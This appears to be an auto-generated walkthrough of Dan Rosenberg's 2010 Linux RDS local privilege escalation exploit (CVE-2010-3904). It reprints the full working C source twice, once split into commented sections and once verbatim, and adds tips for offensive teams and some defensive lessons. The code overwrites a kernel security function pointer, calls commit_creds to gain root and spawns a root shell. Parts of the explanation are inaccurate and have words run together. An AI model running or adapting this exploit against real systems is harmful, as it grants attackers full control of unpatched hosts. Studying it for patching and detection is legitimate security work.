Linux Kernel 2.6.36-rc8 RDS Protocol Local Privilege Escalation Explained

Linux Kernel 2.6.36-rc8 RDS Protocol Local Privilege Escalation Explained
What this paper is
This paper details a vulnerability in the Linux kernel's RDS (Reliable Datagram Sockets) protocol implementation, specifically affecting versions up to 2.6.36-rc8. The vulnerability allows a local, unprivileged user to escalate their privileges to root. It is identified by CVE-2010-3904. The exploit works by leveraging unchecked memory copy operations within the RDS protocol handlers to overwrite arbitrary kernel memory. This allows an attacker to modify critical kernel data structures or function pointers, ultimately leading to privilege escalation.
Simple technical breakdown
The core of the vulnerability lies in how the RDS protocol handles sending and receiving data. When a user sends or receives data using RDS, the kernel uses functions like __copy_*_user_inatomic to move data between user space and kernel space. The problem is that these functions don't properly check if the user-provided memory addresses are valid kernel addresses or if the user has permission to write to them.
An attacker can exploit this by:
- Crafting a special message: They send a message to a specially prepared RDS socket.
- Providing a kernel address: Instead of a user-space buffer, they provide a kernel memory address as the destination for data being "received" by the kernel.
- Overwriting kernel memory: The vulnerable
__copy_*_user_inatomicfunction, without proper checks, copies data into this kernel address. This allows the attacker to overwrite arbitrary kernel memory.
The exploit then uses this ability to overwrite a specific function pointer in the kernel's security operations structure. By redirecting this pointer to their own shellcode, they can execute code with root privileges.
Complete code and payload walkthrough
The provided C code implements an exploit for the RDS protocol vulnerability. Let's break it down section by section.
Includes and Definitions:
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#define RECVPORT 5555
#define SENDPORT 6666- Purpose: These are standard C library includes for input/output, system calls, networking, error handling, string manipulation, process tracing, and system information.
RECVPORTandSENDPORT: These define the ports that will be used for the two sockets the exploit creates. One socket will be used to send messages (triggering the write to kernel memory), and the other will be used to receive messages (which will be directed to the kernel memory address we want to overwrite).
prep_sock(int port) function:
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0) {
printf("[*] Could not open socket.\n");
exit(-1);
}
memset(&addr, 0, sizeof(addr));
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
if(ret < 0) {
printf("[*] Could not bind socket.\n");
exit(-1);
}
return s;
}- Purpose: This function creates and configures an RDS socket.
socket(PF_RDS, SOCK_SEQPACKET, 0): Creates a socket using thePF_RDSprotocol family,SOCK_SEQPACKETfor a sequenced packet stream, and protocol 0 (default).bind(...): Binds the created socket to a specific local IP address (127.0.0.1) and port. This is crucial for setting up the communication channels used by the exploit.- Return Value: Returns the file descriptor of the successfully prepared socket.
get_message(unsigned long address, int sock) function:
void get_message(unsigned long address, int sock)
{
recvfrom(sock, (void *)address, sizeof(void *), 0,
NULL, NULL);
}- Purpose: This function attempts to receive data into a specified memory address using the provided socket.
recvfrom(sock, (void *)address, sizeof(void *), 0, NULL, NULL): This is the core of the receiving side of the exploit. It attempts to readsizeof(void *)bytes (which is typically 4 or 8 bytes, the size of a pointer) from thesockinto the memory location pointed to byaddress.- Vulnerability Trigger: When
addressis a kernel memory address, and this function is called in a context where the kernel is expecting user-provided data, the__copy_*_user_inatomicfunction (used internally byrecvfromfor certain operations) will attempt to write to this kernel address, leading to memory corruption.
send_message(unsigned long value, int sock) function:
void send_message(unsigned long value, int sock)
{
int size, ret;
struct sockaddr_in recvaddr;
struct msghdr msg;
struct iovec iov;
unsigned long buf;
memset(&recvaddr, 0, sizeof(recvaddr));
size = sizeof(recvaddr);
recvaddr.sin_port = htons(RECVPORT);
recvaddr.sin_family = AF_INET;
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
memset(&msg, 0, sizeof(msg));
msg.msg_name = &recvaddr;
msg.msg_namelen = sizeof(recvaddr);
msg.msg_iovlen = 1;
buf = value;
iov.iov_len = sizeof(buf);
iov.iov_base = &buf;
msg.msg_iov = &iov;
ret = sendmsg(sock, &msg, 0);
if(ret < 0) {
printf("[*] Something went wrong sending.\n");
exit(-1);
}
}- Purpose: This function sends a message using the
sendmsgsystem call. This is used to trigger the kernel's RDS processing, which will then attempt to write to the address provided byget_message. struct sockaddr_in recvaddr: Defines the destination address for the message. It's set to127.0.0.1andRECVPORT(5555), which is the port theget_messagefunction is listening on.struct iovec iov: This structure describes a scatter/gather buffer.iov.iov_baseis set to the address ofbuf(which holds thevalueto be sent), andiov.iov_lenis set to the size ofbuf.struct msghdr msg: This structure contains information for thesendmsgcall, including the destination address (msg.msg_name), the scatter/gather buffers (msg.msg_iov), and other flags.sendmsg(sock, &msg, 0): Sends the message. Thevaluepassed to this function is what will be written into the kernel memory address specified inget_message.
write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock) function:
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{
if(!fork()) {
sleep(1);
send_message(value, sendsock);
exit(1);
}
else {
get_message(addr, recvsock);
wait(NULL);
}
}- Purpose: This function orchestrates the memory write operation. It uses a child process to send the data while the parent process waits to receive it, effectively creating a race condition or controlled data transfer that triggers the vulnerability.
if(!fork()): Creates a child process.- Child Process:
sleep(1); send_message(value, sendsock); exit(1);The child process waits for a short period (1 second) to allow the parent to set up the receive operation, then sends thevalueusing thesendsock.
- Child Process:
else { get_message(addr, recvsock); wait(NULL); }: The parent process.- Parent Process:
get_message(addr, recvsock); wait(NULL);The parent process callsget_message, directing the data to be written into the kernel memory addressaddrusing therecvsock. It then waits for the child process to finish.
- Parent Process:
- How it works: The
send_messagein the child process effectively sends data that the kernel's RDS receive path will try to copy into theaddrprovided byget_messagein the parent. This controlled transfer is what exploits the unchecked__copy_*_user_inatomiccalls.
Function Pointer Definitions and getroot function:
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}- Purpose: These define types for kernel functions and declare global variables to hold their addresses. The
getrootfunction is the payload that will be executed with root privileges. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);: Defines a function pointer type_commit_credsthat takes anunsigned longand returns anint. The__attribute__((regparm(3)))indicates that the function uses the first three arguments passed via registers (common for x86).typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);: Defines a function pointer type_prepare_kernel_credthat takes anunsigned longand returns anunsigned long.commit_credsandprepare_kernel_cred: Global variables that will store the addresses of the corresponding kernel functions once they are resolved.getroot(void * file, void * vma): This is the shellcode.prepare_kernel_cred(0): This kernel function is called to obtain a credentials structure that represents the highest possible privileges (effectively root). Passing0means it will create a new structure.commit_creds(...): This kernel function is called to apply the credentials obtained fromprepare_kernel_cred. This action switches the current process's effective user ID to root.return -1;: The function returns -1, which is often used to indicate an error or a specific status in kernel contexts.
get_kernel_sym(char *name) function:
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map */
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}- Purpose: This function searches for the memory address of a given kernel symbol (function or variable name). This is crucial because the exploit needs to know where specific kernel functions and structures are located in memory.
/proc/kallsymsand/proc/ksyms: These files in the/procfilesystem list exported kernel symbols and their addresses. The exploit first tries/proc/kallsyms(modern kernels) and falls back to/proc/ksyms(older kernels)./boot/System.map-<kernel_release>: If symbols aren't found in/proc, it tries to read from the system'sSystem.mapfile, which also contains symbol addresses.- Parsing Logic: The function reads lines from these files, parsing the address and symbol name. It handles different formats for older and newer kernels, including some logic to strip suffixes like
_smpfrom symbol names. - Return Value: Returns the
unsigned longaddress of the found symbol, or0if not found.
main function:
int main(int argc, char * argv[])
{
unsigned long sec_ops, def_ops, cap_ptrace, target;
int sendsock, recvsock;
struct utsname ver;
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
printf("[*] by Dan Rosenberg\n");
uname(&ver);
if(strncmp(ver.release, "2.6.3", 5)) {
printf("[*] Your kernel is not vulnerable.\n");
return -1;
}
/* Resolve addresses of relevant symbols */
printf("[*] Resolving kernel addresses...\n");
sec_ops = get_kernel_sym("security_ops");
def_ops = get_kernel_sym("default_security_ops");
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
/* Calculate target */
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
sendsock = prep_sock(SENDPORT);
recvsock = prep_sock(RECVPORT);
/* Reset security ops */
printf("[*] Overwriting security ops...\n");
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
/* Overwrite ptrace_traceme security op fptr */
printf("[*] Overwriting function pointer...\n");
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
/* Trigger the payload */
printf("[*] Triggering payload...\n");
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
/* Restore the ptrace_traceme security op */
printf("[*] Restoring function pointer...\n");
write_to_mem(target, cap_ptrace, sendsock, recvsock);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] Got root!\n");
execl("/bin/sh", "sh", NULL);
}- Purpose: This is the main execution flow of the exploit.
- Version Check:
uname(&ver); if(strncmp(ver.release, "2.6.3", 5)) { ... }Checks if the kernel version is within the vulnerable range (specifically, it checks for "2.6.3" as a prefix, implying versions like 2.6.30, 2.6.31, etc., up to 2.6.36-rc8).
- Symbol Resolution:
- It calls
get_kernel_symto find the addresses of critical kernel symbols:security_ops: A pointer to the current security operations structure.default_security_ops: A pointer to the default security operations structure.cap_ptrace_traceme: The address of the originalptrace_tracemefunction pointer within the security operations.commit_credsandprepare_kernel_cred: The addresses of the functions used for privilege escalation.
- It calls
- Target Address Calculation:
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));This line calculates the exact offset within thesecurity_opsstructure where theptrace_tracemefunction pointer resides. The calculation is a bit complex but aims to find the correct offset for theptrace_tracemefield within thesecurity_opsstructure, which is based on thedefault_security_opsstructure. The(11 + sizeof(void *)) & ~(sizeof(void *) - 1)part is a common way to calculate the next power of 2, ensuring proper alignment.
- Socket Preparation:
sendsock = prep_sock(SENDPORT); recvsock = prep_sock(RECVPORT);Creates the two necessary RDS sockets.
- Overwriting
security_ops:write_to_mem(sec_ops, def_ops, sendsock, recvsock);This is an initial step to ensure thatsecurity_opspoints todefault_security_ops. This might be a cleanup step or a way to normalize the environment before the main payload injection. It writes the address ofdefault_security_opsinto the memory location pointed to bysecurity_ops.
- Injecting the Payload:
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);This is the critical step. It useswrite_to_memto overwrite theptrace_tracemefunction pointer (at the calculatedtargetaddress) with the address of ourgetrootpayload function.
- Triggering the Exploit:
ptrace(PTRACE_TRACEME, 1, NULL, NULL);This system call is used by a process to indicate that it is being traced by its parent. When the kernel's security module checks theptrace_tracemeoperation, it will now call our injectedgetrootfunction instead of the original one.
- Restoring the Function Pointer:
write_to_mem(target, cap_ptrace, sendsock, recvsock);After the payload has executed (or attempted to execute), this line restores the originalptrace_tracemefunction pointer. This is good practice to avoid leaving the kernel in a corrupted state.
- Verification and Shell:
if(getuid()) { ... }Checks if the current user ID is still non-root. If it is, the exploit failed.printf("[*] Got root!\n"); execl("/bin/sh", "sh", NULL);Ifgetuid()returns 0 (meaning root), it prints a success message and replaces the current process with a root shell (/bin/sh).
Mapping of code fragments to practical purpose:
#include <sys/socket.h>: Enables socket programming functions.#define RECVPORT 5555,#define SENDPORT 6666: Defines ports for communication.prep_sock(): Sets up the necessary RDS sockets for communication.get_message(unsigned long address, int sock): Receives data into a specified memory address, used to write to kernel memory.send_message(unsigned long value, int sock): Sends data to trigger kernel processing.write_to_mem(): Orchestrates the memory write by combining sending and receiving in a controlled manner.typedef ... _commit_creds,typedef ... _prepare_kernel_cred: Defines types for kernel functions used in privilege escalation.getroot(): The actual payload function that callscommit_credsandprepare_kernel_credto gain root privileges.get_kernel_sym(): Resolves the memory addresses of kernel functions and variables.main(): The main execution logic, orchestrating symbol resolution, socket setup, memory corruption, payload injection, and triggering the exploit.ptrace(PTRACE_TRACEME, 1, NULL, NULL): The system call that triggers the vulnerable path in the kernel's security module.
Practical details for offensive operations teams
- Required Access Level: Local user access to the target system. No elevated privileges are initially required.
- Lab Preconditions:
- A Linux system running a kernel version vulnerable to CVE-2010-3904 (specifically, versions up to and including 2.6.36-rc8). Kernels 2.6.30 and later are mentioned as potentially vulnerable.
- The RDS kernel module must be loaded and functional. This is usually available by default on many Linux distributions, but can be checked with
lsmod | grep rds. - The
/proc/kallsymsor/proc/ksymsfiles must be readable by the user executing the exploit. - The
/boot/System.map-<kernel_release>file must be readable if/proc/kallsymsis unavailable.
- Tooling Assumptions:
- A C compiler (like GCC) to compile the exploit code.
- Standard Linux utilities (
uname,lsmod,getuid,execl).
- Execution Pitfalls:
- Kernel Version Mismatch: The exploit is highly version-specific. Running it on a patched kernel will result in failure. The
strncmp(ver.release, "2.6.3", 5)check is a good first indicator, but specific sub-versions might behave differently. - Symbol Resolution Failure: If
get_kernel_symcannot find essential symbols (security_ops,default_security_ops,commit_creds,prepare_kernel_cred,cap_ptrace_traceme), the exploit will fail. This can happen if kernel debugging symbols are stripped or if the kernel configuration is unusual. - Race Conditions: The
write_to_memfunction relies on a fork and sleep to create a controlled write. Timing issues or system load could potentially cause this to fail, leading to a partial write or no write at all. - Security Enhancements: Modern kernels have various exploit mitigation techniques (like KASLR, SMEP/SMAP) that might prevent this specific exploit from working, even if the underlying vulnerability exists. However, this exploit predates many of these mitigations.
ptraceRestrictions: Some security configurations might restrict the use ofptracefor non-debugging purposes.- Socket Binding: If the ports
RECVPORTorSENDPORTare already in use,bindwill fail, and the exploit will not proceed.
- Kernel Version Mismatch: The exploit is highly version-specific. Running it on a patched kernel will result in failure. The
- Telemetry:
- Process Execution: The exploit executable will run as a normal user process.
- Socket Creation: Two UDP/RDS sockets will be created and bound to
127.0.0.1on specific ports. - File Access: Reads from
/proc/kallsyms,/proc/ksyms, and potentially/boot/System.map-*. - System Calls:
socket,bind,fork,sleep,sendmsg,recvfrom,ptrace,wait,getuid,execl. - Kernel Module Loading: Potentially
rdsmodule loading if not already present. - Privilege Change: If successful, the process running
/bin/shwill have UID 0. - Network Traffic: Minimal, as it's localhost communication.
Where this was used and when
- Discovery: The vulnerability was discovered and disclosed by Dan Rosenberg of Virtual Security Research (VSR) in October 2010.
- Exploitation Context: This type of exploit is typically used in penetration testing scenarios to demonstrate privilege escalation capabilities from a low-privileged user account. It would have been relevant for auditing systems running older Linux kernels.
- Specific Usage: While concrete public reports of this specific exploit being used in the wild are scarce, vulnerabilities of this nature are often weaponized by advanced persistent threats (APTs) or used by security researchers to gain access to sensitive systems during authorized engagements. The disclosure date of October 2010 places its relevance in the early 2010s.
Defensive lessons for modern teams
- Kernel Patching is Paramount: The most effective defense is to keep the Linux kernel updated to the latest stable versions. This vulnerability has been patched for many years.
- Minimize Loaded Kernel Modules: Only load kernel modules that are strictly necessary for system operation. Unused modules, like RDS if not required, reduce the attack surface.
- Secure
/procAccess: While/proc/kallsymsis useful for debugging, restricting its read access in production environments can hinder attackers from easily resolving kernel symbols. However, this is often a trade-off with system administration convenience. - Intrusion Detection Systems (IDS) / Host-based Intrusion Detection Systems (HIDS): Monitor for suspicious process activity, such as:
- Execution of unknown binaries in unusual locations.
- Processes attempting to bind to privileged ports (though this exploit uses low ports).
- Unusual system call patterns, especially
ptracecalls from unexpected processes. - Sudden privilege escalation (UID change to 0).
- Security Auditing: Regularly audit system configurations and kernel versions to identify potential vulnerabilities.
- Principle of Least Privilege: Ensure that all user accounts and services operate with the minimum privileges necessary. This limits the impact of a successful privilege escalation.
- Understand Network Protocol Usage: Be aware of which network protocols are enabled and used on your systems. If a protocol like RDS is not needed, disable it.
ASCII visual (if applicable)
This exploit involves a local process interacting with the kernel. A visual representation of the memory corruption aspect is helpful.
+-----------------------+ +-----------------------+
| User Space | | Kernel Space |
| | | |
| +-------------------+ | | +-------------------+ |
| | Exploit Process | | | | Kernel Memory | |
| | | | | | | |
| | - Creates Sockets | | | | - RDS Handler | |
| | - Calls ptrace() | |----->| | - __copy_*_user_ | |
| | - Tries to getuid()| | | | inatomic() | |
| +-------------------+ | | | | |
| | | | - security_ops | |
| | | | (ptrace_traceme)| |
| | | +-------------------+ |
| | | |
| +-------------------+ | | |
| | Attacker's Data | | | |
| | (Kernel Address) | | | |
| +-------------------+ | | |
+-----------------------+ +-----------------------+
^ |
| | (Data written to kernel address)
| |
+--------+ (via sendmsg/recvfrom exploiting RDS)Explanation:
- The Exploit Process in user space prepares sockets and eventually calls
ptrace(PTRACE_TRACEME). - The kernel's RDS Handler receives data.
- The vulnerable function
__copy_*_user_inatomicis called. - Instead of copying data to a safe user buffer, it's tricked into writing to a Kernel Address provided by the exploit.
- This write corrupts kernel memory, specifically targeting the
security_opsstructure, overwriting theptrace_tracemefunction pointer. - When
ptrace(PTRACE_TRACEME)is invoked, the kernel now calls the attacker's injectedgetrootfunction instead of the original handler.
Source references
- Paper ID: 15285
- Paper Title: Linux Kernel 2.6.36-rc8 - 'RDS Protocol' Local Privilege Escalation
- Author: Dan Rosenberg
- Published: 2010-10-19
- Keywords: Linux, local
- Paper URL: https://www.exploit-db.com/papers/15285
- Raw Exploit URL: https://www.exploit-db.com/raw/15285
- Original Advisory: http://www.vsecurity.com/resources/advisory/20101019-1/
- CVE ID: CVE-2010-3904
Original Exploit-DB Content (Verbatim)
// source: http://www.vsecurity.com/resources/advisory/20101019-1/
/*
* Linux Kernel <= 2.6.36-rc8 RDS privilege escalation exploit
* CVE-2010-3904
* by Dan Rosenberg <drosenberg@vsecurity.com>
*
* Copyright 2010 Virtual Security Research, LLC
*
* The handling functions for sending and receiving RDS messages
* use unchecked __copy_*_user_inatomic functions without any
* access checks on user-provided pointers. As a result, by
* passing a kernel address as an iovec base address in recvmsg-style
* calls, a local user can overwrite arbitrary kernel memory, which
* can easily be used to escalate privileges to root. Alternatively,
* an arbitrary kernel read can be performed via sendmsg calls.
*
* This exploit is simple - it resolves a few kernel symbols,
* sets the security_ops to the default structure, then overwrites
* a function pointer (ptrace_traceme) in that structure to point
* to the payload. After triggering the payload, the original
* value is restored. Hard-coding the offset of this function
* pointer is a bit inelegant, but I wanted to keep it simple and
* architecture-independent (i.e. no inline assembly).
*
* The vulnerability is yet another example of why you shouldn't
* allow loading of random packet families unless you actually
* need them.
*
* Greets to spender, kees, taviso, hawkes, team lollerskaters,
* joberheide, bla, sts, and VSR
*
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <errno.h>
#include <string.h>
#include <sys/ptrace.h>
#include <sys/utsname.h>
#define RECVPORT 5555
#define SENDPORT 6666
int prep_sock(int port)
{
int s, ret;
struct sockaddr_in addr;
s = socket(PF_RDS, SOCK_SEQPACKET, 0);
if(s < 0) {
printf("[*] Could not open socket.\n");
exit(-1);
}
memset(&addr, 0, sizeof(addr));
addr.sin_addr.s_addr = inet_addr("127.0.0.1");
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
ret = bind(s, (struct sockaddr *)&addr, sizeof(addr));
if(ret < 0) {
printf("[*] Could not bind socket.\n");
exit(-1);
}
return s;
}
void get_message(unsigned long address, int sock)
{
recvfrom(sock, (void *)address, sizeof(void *), 0,
NULL, NULL);
}
void send_message(unsigned long value, int sock)
{
int size, ret;
struct sockaddr_in recvaddr;
struct msghdr msg;
struct iovec iov;
unsigned long buf;
memset(&recvaddr, 0, sizeof(recvaddr));
size = sizeof(recvaddr);
recvaddr.sin_port = htons(RECVPORT);
recvaddr.sin_family = AF_INET;
recvaddr.sin_addr.s_addr = inet_addr("127.0.0.1");
memset(&msg, 0, sizeof(msg));
msg.msg_name = &recvaddr;
msg.msg_namelen = sizeof(recvaddr);
msg.msg_iovlen = 1;
buf = value;
iov.iov_len = sizeof(buf);
iov.iov_base = &buf;
msg.msg_iov = &iov;
ret = sendmsg(sock, &msg, 0);
if(ret < 0) {
printf("[*] Something went wrong sending.\n");
exit(-1);
}
}
void write_to_mem(unsigned long addr, unsigned long value, int sendsock, int recvsock)
{
if(!fork()) {
sleep(1);
send_message(value, sendsock);
exit(1);
}
else {
get_message(addr, recvsock);
wait(NULL);
}
}
typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;
int __attribute__((regparm(3)))
getroot(void * file, void * vma)
{
commit_creds(prepare_kernel_cred(0));
return -1;
}
/* thanks spender... */
unsigned long get_kernel_sym(char *name)
{
FILE *f;
unsigned long addr;
char dummy;
char sname[512];
struct utsname ver;
int ret;
int rep = 0;
int oldstyle = 0;
f = fopen("/proc/kallsyms", "r");
if (f == NULL) {
f = fopen("/proc/ksyms", "r");
if (f == NULL)
goto fallback;
oldstyle = 1;
}
repeat:
ret = 0;
while(ret != EOF) {
if (!oldstyle)
ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
else {
ret = fscanf(f, "%p %s\n", (void **)&addr, sname);
if (ret == 2) {
char *p;
if (strstr(sname, "_O/") || strstr(sname, "_S."))
continue;
p = strrchr(sname, '_');
if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) {
p = p - 4;
while (p > (char *)sname && *(p - 1) == '_')
p--;
*p = '\0';
}
}
}
if (ret == 0) {
fscanf(f, "%s\n", sname);
continue;
}
if (!strcmp(name, sname)) {
fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : "");
fclose(f);
return addr;
}
}
fclose(f);
if (rep)
return 0;
fallback:
/* didn't find the symbol, let's retry with the System.map
dedicated to the pointlessness of Russell Coker's SELinux
test machine (why does he keep upgrading the kernel if
"all necessary security can be provided by SE Linux"?)
*/
uname(&ver);
if (strncmp(ver.release, "2.6", 3))
oldstyle = 1;
sprintf(sname, "/boot/System.map-%s", ver.release);
f = fopen(sname, "r");
if (f == NULL)
return 0;
rep = 1;
goto repeat;
}
int main(int argc, char * argv[])
{
unsigned long sec_ops, def_ops, cap_ptrace, target;
int sendsock, recvsock;
struct utsname ver;
printf("[*] Linux kernel >= 2.6.30 RDS socket exploit\n");
printf("[*] by Dan Rosenberg\n");
uname(&ver);
if(strncmp(ver.release, "2.6.3", 5)) {
printf("[*] Your kernel is not vulnerable.\n");
return -1;
}
/* Resolve addresses of relevant symbols */
printf("[*] Resolving kernel addresses...\n");
sec_ops = get_kernel_sym("security_ops");
def_ops = get_kernel_sym("default_security_ops");
cap_ptrace = get_kernel_sym("cap_ptrace_traceme");
commit_creds = (_commit_creds) get_kernel_sym("commit_creds");
prepare_kernel_cred = (_prepare_kernel_cred) get_kernel_sym("prepare_kernel_cred");
if(!sec_ops || !def_ops || !cap_ptrace || !commit_creds || !prepare_kernel_cred) {
printf("[*] Failed to resolve kernel symbols.\n");
return -1;
}
/* Calculate target */
target = def_ops + sizeof(void *) + ((11 + sizeof(void *)) & ~(sizeof(void *) - 1));
sendsock = prep_sock(SENDPORT);
recvsock = prep_sock(RECVPORT);
/* Reset security ops */
printf("[*] Overwriting security ops...\n");
write_to_mem(sec_ops, def_ops, sendsock, recvsock);
/* Overwrite ptrace_traceme security op fptr */
printf("[*] Overwriting function pointer...\n");
write_to_mem(target, (unsigned long)&getroot, sendsock, recvsock);
/* Trigger the payload */
printf("[*] Triggering payload...\n");
ptrace(PTRACE_TRACEME, 1, NULL, NULL);
/* Restore the ptrace_traceme security op */
printf("[*] Restoring function pointer...\n");
write_to_mem(target, cap_ptrace, sendsock, recvsock);
if(getuid()) {
printf("[*] Exploit failed to get root.\n");
return -1;
}
printf("[*] Got root!\n");
execl("/bin/sh", "sh", NULL);
}